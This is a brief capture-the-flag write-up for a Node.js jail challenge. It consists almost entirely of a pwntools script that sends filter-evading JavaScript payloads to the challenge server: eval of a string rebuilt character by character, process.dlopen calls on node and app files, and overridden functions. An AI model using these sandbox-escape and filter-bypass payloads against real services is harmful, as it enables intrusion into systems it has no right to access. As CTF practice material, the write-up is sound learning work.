Rating:

Lots of disallowed characters you had to get around
```
import binascii
from pwn import *
import sys
conn = remote("jail.alieni.se", 55542)
conn.recvuntil(">")
payload="""
function hangup(){
for (var l of this.Buffer(1099999)){
console.log(l)
}
if (code || code === 0)
process.exitCode = code;

if (!process._exiting) {
process._exiting = true;
process.emit('exit', process.exitCode || 0);
}
process.reallyExit(process.exitCode || 0);
}
"r"
"""
payload="""
console.log(process);
function hangup(){
fs = process.dlopen("fs", "/usr/local/bin/node");
console.log("test");
console.log(fs);
j = process.dlopen("fs", "/app/jail.js");
console.log(module);
console.log(j);
console.log("hi");
if (code || code === 0)
process.exitCode = code;

if (!process._exiting) {
process._exiting = true;
process.emit('exit', process.exitCode || 0);
}
process.reallyExit(process.exitCode || 0);
}
"""
payload="""
function RegExp{
test: return True;}
ask()
"""
payload='var m = 0;var k = "";for (var c of template) { if(m==1){k=c; break};if(c =="O"){m=1};}eval("%s")' % payload.replace('"',"'").replace(".", '" + k + "').replace("\n","")
print("sending payload %s" % payload)
conn.sendline(payload)
#conn.recvuntil("!")
j = conn.recvall()
print(j)
#for line in j.split("\n"):
#while conn.can_recv(2):
# line = conn.recvline(False)
# if line != ' ' and line != '':
# if int(line) >= 32:
# #print(chr(int(line)))
# sys.stdout.write(chr(int(line)))
# sys.stdout.flush()
```